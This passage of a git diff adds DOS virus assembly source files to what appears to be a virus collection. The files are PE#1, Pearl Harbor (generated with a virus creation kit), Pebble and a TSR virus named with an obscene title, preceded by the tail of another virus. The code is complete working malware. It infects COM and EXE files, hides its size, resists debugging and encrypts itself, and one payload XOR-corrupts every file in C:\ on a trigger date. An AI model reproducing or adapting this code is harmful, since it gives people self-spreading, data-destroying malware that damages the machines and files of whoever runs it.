0DFDFh + jne search_pas + mov ax,word [si+1] + and ax,0DFDFh + cmp ax,'SA' + je fuck_wp +not_pas: + xchg bx,ax + call int21 + jc not_wp + + xchg bx,ax + cmp bx,5 + jb not_wp + + xor si,si + + mov ah,3Fh + mov cx,3 + push cs + pop ds + mov dx,offset wpbuff + call int21 + + jc close_wp + cmp cx,3 + jne close_wp + + cmp word wpbuff[1],'PW' + + jne close_wp + + inc si +close_wp: + mov ah,3Eh + call int21 + cmp si,0 + je not_wp + +fuck_wp: pop si + call reset_i24 + call pop_all + popf + mov ax,4 + stc + retf 2 +not_wp: + mov ah,3Dh + ret + +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Anti WiNDOWS Routine +; (Just started... Not at all ready!!!) +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +windows: + ret + +;; call push_all +; xchg cx,ax +; mov di,dx +; push ds +; pop es +; cld +; xor al,al +;winsrc: repnz scasb +; jne win_fail +; +; sub di,8 +; xchg si,di + + +;db 'Elo, Elo, lam sabaktni?' + +dummy db 18h dup(0) ;3 + +version db ver ;\ +size dw (offset total)-100h ; > 6 bytes +db 'PCBB' ;/ + +total: + tsr_para equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2 + + + \ No newline at end of file diff --git a/p/PE#1.ASM b/p/PE#1.ASM new file mode 100755 index 0000000..de11bff --- /dev/null +++ b/p/PE#1.ASM @@ -0,0 +1 @@ + PAGE 59,132 ; ; ; VIRI ; ; Created: 7-Jan-92 ; ; Disassembled by -=>Wasp<=- aka >>Night Crawler<< ; Reassemble with TASM 2.0 ; DATA_1E EQU 0 DATA_2E EQU 0DH DATA_3E EQU 19H DATA_4E EQU 1CH DATA_5E EQU 3AH DATA_6E EQU 47H SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100h VIRI PROC FAR START: JMP SHORT LOC_2 ; (0151) DB 90H, 2AH, 2EH, 43H, 4FH, 4DH DB 00H, 5CH, 2AH, 2EH, 43H, 4FH DB 4DH, 00H DB '\DOS\*.COM' DB 00H, 00H,0CDH, 20H DB 44 DUP (0) DB 0E9H, 00H, 00H,0B4H, 85H, 00H DB 00H LOC_2: MOV DX,103H CLD ; Clear direction MOV SI,DX ADD SI,19H MOV DI,OFFSET DS:[100H] MOV CX,3 REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] MOV SI,DX MOV AX,3524H INT 21H ; DOS Services ah=function 35h ; get intrpt vector al in es:bx PUSH ES PUSH BX MOV AX,2524H ;* MOV DX,OFFSET LOC_1 ;* DB 0BAH,0B6H, 00H ADD DX,SI INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH DS POP ES PUSH ES MOV AH,2FH ; '/' INT 21H ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx MOV [SI+4AH],ES MOV [SI+4CH],BX POP ES MOV AH,1AH MOV DX,DATA_4E ADD DX,SI INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AH,4EH ; 'N' CMP BYTE PTR [SI+18H],10H JA LOC_3 ; Jump if above MOV DX,0 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_3: CMP BYTE PTR [SI+18H],20H ; ' ' JA LOC_4 ; Jump if above MOV DX,6 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_4: MOV DX,DATA_2E ADD DX,SI LOC_5: MOV CX,23H INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_6 ; Jump if carry Set JMP SHORT LOC_8 ; (01DE) DB 90H VIRI ENDP ; ; ; External Entry Point ; ; INT_24H_ENTRY PROC FAR MOV AL,0 IRET ; Interrupt return INT_24H_ENTRY ENDP LOC_6: MOV AX,[SI+4AH] MOV DS,AX MOV DX,[SI+4CH] MOV AH,1AH INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AX,2524H POP DX POP DS INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH ES POP DS MOV DI,OFFSET START PUSH DI RETN 0FFFFH LOC_7: MOV AH,4FH ; 'O' INT 21H ; DOS Services ah=function 4Fh ; find next filename match JC LOC_6 ; Jump if carry Set LOC_8: MOV AX,[SI+36H] CMP AX,400H JB LOC_7 ; Jump if below CMP AX,0F230H JA LOC_7 ; Jump if above MOV AX,4301H MOV DX,DATA_5E ADD DX,SI MOV CX,0 INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx MOV DX,DATA_5E ADD DX,SI MOV AX,3D02H INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx JC LOC_10 ; Jump if carry Set XCHG AX,BX MOV DX,DATA_3E ADD DX,SI MOV CX,3 MOV AH,3FH ; '?' INT 21H ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV CL,[SI+1AH] MOV CH,[SI+1BH] MOV AX,[SI+36H] SUB AX,1ADH ADD AX,4BH CMP AX,CX JE LOC_10 ; Jump if equal MOV AX,4202H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV DI,SI ADD DI,4FH ADD AX,100H MOV [DI],AX SUB AX,103H MOV [SI+48H],AX ADD WORD PTR [SI+48H],4EH INC BYTE PTR [SI+18H] CMP BYTE PTR [SI+18H],30H ; '0' JB LOC_9 ; Jump if below MOV BYTE PTR [SI+18H],0 LOC_9: MOV AH,40H ; '@' MOV DX,DATA_1E ADD DX,SI MOV CX,1ADH INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV AX,4200H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV AH,40H ; '@' MOV CX,3 MOV DX,DATA_6E ADD DX,SI INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx LOC_10: MOV CX,[SI+32H] MOV DX,[SI+34H] MOV AX,5701H INT 21H ; DOS Services ah=function 57h ; get/set file date & time MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle MOV AX,4301H MOV CX,[SI+31H] XOR CH,CH ; Zero register MOV DX,DATA_5E ADD DX,SI INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx JMP LOC_7 ; (01D8) DB 'Public enemy number one' SEG_A ENDS END START \ No newline at end of file diff --git a/p/PEARLHBR.ASM b/p/PEARLHBR.ASM new file mode 100755 index 0000000..6a9f28b --- /dev/null +++ b/p/PEARLHBR.ASM @@ -0,0 +1,434 @@ +; PEARLHBR.ASM -- Pearl Harbor Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call get_month + cmp ax,000Ch ; Did the function return 12? + jne skip00 ; If not equal, skip effect + call get_day + cmp ax,0007h ; Did the function return 7? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: call get_country + cmp ax,0051h ; Did the function return 81? + jne skip01 ; If not equal, skip effect + call get_month + cmp ax,000Ch ; Did the function return 12? + jne skip01 ; If not equal, skip effect + call get_day + cmp ax,0007h ; Did the function return 7? + jne skip01 ; If not equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: mov dx,offset data01 ; DX points to data + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,4096 ; Allocate 4096-byte buffer + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc corrupt_end ; If no files found then exit +corrupt_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX +c_crypt_loop: mov ah,03Fh ; DOS read from file function + mov cx,4096 ; Read 4k of characters + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + or ax,ax ; Were 0 bytes read? + je close_c_file ; If so then close it up + push ax ; Save AX + lea si,[bp - 4096] ; SI points to the buffer + xor ah,ah ; BIOS get clock ticks function + int 01Ah + pop cx ; CX holds number of bytes read + push cx ; Save CX +corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks + inc si ; Do the next byte + inc dx ; Change the key for next byte + loop corrupt_bytes ; Repeat until buffer is done + pop dx ; Restore DX (holds bytes read) + push dx ; Save count for write + mov ax,04201h ; DOS file seek function, current + mov cx,0FFFFh ; Seeking backwards + neg dx ; Seeking backwards + int 021h + mov ah,040h ; DOS write to file function + pop cx ; CX holds number of bytes read + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + jmp short c_crypt_loop +close_c_file: mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc corrupt_file ; If successful do next file +corrupt_end: pop di ; Restore DI + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + +end01: + mov ah,04Ah ; DOS resize memory function + mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. + int 021h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + call search_files ; Find and infect a file + + pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + + + db 010h,07Ch,0E5h,00Ch,0DAh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + + db 0D0h,0DCh,083h,09Eh,044h + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 07Eh,0FFh,09Ah,025h,02Bh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + call encrypt_code ; Write an encrypted copy + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + + db 038h,025h,0F2h,0EAh,074h + +get_country proc near + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,34 ; Allocate 34 bytes on stack + + mov ah,038h ; DOS get country function + lea dx,[bp - 34] ; DX points to unused buffer + int 021h + + xchg bx,ax ; AX holds the country code + + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + ret ; Return to caller +get_country endp + + db 05Bh,02Dh,0FBh,03Ah,0E9h + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + + db 049h,053h,0C8h,006h,095h + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + +data00 db "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10 + db 07,07,07 + db "*** REMEMBER PEARL HARBOR ***",13,10,0 + +data01 db "C:\*.*",0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "Dedicated to the memories of t" + db "he brave American men and wome" + db "n who gave their lives at [Pea" + db "rl Harbor].",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/p/PEBBLE.ASM b/p/PEBBLE.ASM new file mode 100755 index 0000000..c1da80a --- /dev/null +++ b/p/PEBBLE.ASM @@ -0,0 +1,66 @@ + +PAGE 59,132 + +; +; +; PEBBLE +; +; Created: 21-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_0001e equ 9Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +pebble proc far + +start: + mov ah,4Eh ; 'N' + mov cx,27h + mov dx,12Ch +loc_0001: + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_0002 ; Jump if carry Set + call sub_0001 + mov ah,4Fh ; 'O' + jmp short loc_0001 +loc_0002: + int 20h ; DOS program terminate + +pebble endp + +; +; SUBROUTINE +; + +sub_0001 proc near + mov ax,3D02h + mov dx,data_0001e + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov ah,40h ; '@' + mov cx,32h + mov dx,100h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_0001 endp + + db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h + +seg_a ends + + + + end start diff --git a/p/PENIS.ASM b/p/PENIS.ASM new file mode 100755 index 0000000..a14405c --- /dev/null +++ b/p/PENIS.ASM @@ -0,0 +1,716 @@ +;***************************************************************************** +;* THE PENIS VIRUS +;* +;* +;* By Soltan Griss [YAM] +;* +;* +;* +;* +;* In no means was this intended to be a serious virus, I got bored one day +;* and decided to have some fun. +;* +;* +;* Well Here it is... +;* +;***************************************************************************** +seg_a segment + assume cs:seg_a,ds:seg_a,es:nothing + + org 100h +start: db 0E9h,02,00,42h,0f2h + + mov cx,(old_21-old_8) ;RUN FIRST TIME ONLY + mov si,offset old_8 ;encrypt All text messages + call crypter + + mov cx,(exec-data) + mov si,offset data + call crypter + + +vstart equ $ + call code_start +code_start: + pop si + sub si,offset code_start + mov bp,si + jmp load ;Load in the TSR +;************************************************************************** + +old_8 dw 0,0 + +new_8: push ax + push bx ;lets run the clock + push cx ;backwards + push ds + xor ax,ax + mov ds,ax + mov bx,ds:46Ch + mov cx,ds:046Eh + dec bx + jno loc_4 + dec cx + jno loc_4 + mov bx,0AFh + mov cx,18h ;remember to do it twice +loc_4: ;cause the normal increase + dec bx ;will negate the first one + jno loc_5 + dec cx + jno loc_5 + mov bx,0AFh + mov cx,18h +loc_5: + mov ds:046Eh,cx + mov ds:046Ch,bx + pop ds + pop cx + pop bx + pop ax +do_old_8: jmp dword ptr cs:[old_8-vstart] + + +;**************************************************************************** +;int 9 handler + +old_9 dd ? ;Store old int 9 + +new_9: + + push ax + in al,60h ;Turn on Register 60 + cmp al,53h ;Ctrl-Alt-Del + + je fuck_you + pop ax + jmp dword ptr cs:[(old_9-vstart)] + +say_it: db "FUCK YOU ASSHOLE! ","$" + +fuck_you: + push ds + push dx + mov ah,9h + + push cs + pop ds + + mov dx,say_it-vstart ;Say message + int 21h + pop dx + pop ds + pop ax + iret + + + +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** + +old_21 dd ? + +new_21: + cmp ax,4b00h ;Are we executing? + je exec1 + + cmp ah,11h + je hide_size + cmp ah,12h + je hide_size + cmp ax,0f242h ;Are we going resident? + jne do_old + mov bx,242fh ;Set our residency byte +do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21 +exec1: jmp exec +do_dir: jmp dword ptr cs:[(old_21-vstart)] + ret + +hide_size: + pushf + push cs + call do_dir ;get the current FCB + cmp al,00h + jnz dir_error ;jump if bad FCB + + push ax + push bx + push es ;undocumented get FCB + mov ah,51h ;location + int 21h + mov es,bx ;get info from FCB + cmp bx,es:[16h] + jnz not_inf + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;get DTA + int 21h + pop ax + inc al ;Check for extended FCB + jnz normal_fcb + add bx,7h +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ;check for 2 seconds + jnz not_inf + + and byte ptr es:[bx+17h],0e0h ;subtract virus size + sub es:[bx+1dh],(vend-vstart) + sbb es:[bx+1fh],ax +not_inf:pop es + pop bx + pop ax + +dir_error: + iret ;back to caller + + +;*************************************************************************** +;*************************************************************************** +;* PICTURE TO DISPLAY +;*************************************************************************** + +data DB '',4,'',4,'',4,'',4,' ',4,' ',15,'',4,' ',15,' ' + DB 15,' ',15,' ',15,'',4,'',4,'',4,'',4,' ',15,'',4 + DB '',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',4 + DB '',4,' ',15,' ',15,'',4,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,'',4,' ',15,'',4,'',4,'',4,'',4,'',64,'' + DB 64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15 + DB ' ',64,'',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64 + DB ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'',4,' ',15 + DB ' ',15,' ',15,' ',15,'',4,' ',64,' ',4,' ',15,' ',15 + DB '',4,'',4,'',4,' ',15,'',64,' ',64,'',4,' ',15,'' + DB 4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ' + DB 0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0 + DB ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',64,'',64,'',64,'',64,'',64,'',64,' ' + DB 64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' ' + DB 64,' ',15,' ',15,' ',15,' ',64,'',4,' ',64,' ',64,'' + DB 64,' ',64,' ',4,' ',15,' ',15,' ',15,'',4,' ',15,'' + DB 4,'',4,'',4,' ',15,'',4,' ',15,'',4,'',64,'',64 + DB '',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ' + DB 0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'',4 + DB '',4,'',4,'',64,' ',15,' ',64,'',4,'',4,'',4,' ' + DB 15,' ',64,'',4,'',4,' ',64,' ',15,' ',15,' ',15,' ' + DB 15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',4,' ',15,' ',15,'',4,' ',15,' ',15,'' + DB 4,' ',15,'',4,'',4,'',4,'',4,'',64,'',64,' ',15 + DB ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ' + DB 15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',96,'',96 + DB '',96,'',96,'',96,'',96,'',96,'',96,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,'',96,'',96,'',96,' ',96,'',96,'' + DB 96,'',96,'',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'' + DB 15,'',15,'',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'',96 + DB '',96,'',96,'',96,' ',96,'',96,'',96,'',15,'',15 + DB '',15,'',15,'',15,'',15,' ',15,' ',15,' ',15,' ',15 + DB '',15,'',15,'',15,'',15,'',15,'',15,'',15,' ',15 + DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'',96 + DB '',96,'',96,'',96,'',96,'',96,'',96,'',96,'',96 + DB '',96,'',96,'',96,'',96,'',96,'',96,'',96,'',96 + DB '',96,'',96,'',96,'',96,'',96,'',96,'',96,'',96 + DB '',96,'',96,'',96,'',96,' ',96,'',96,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,'',15,'',15,'',15,' ',15,' ',15 + DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'',96 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' 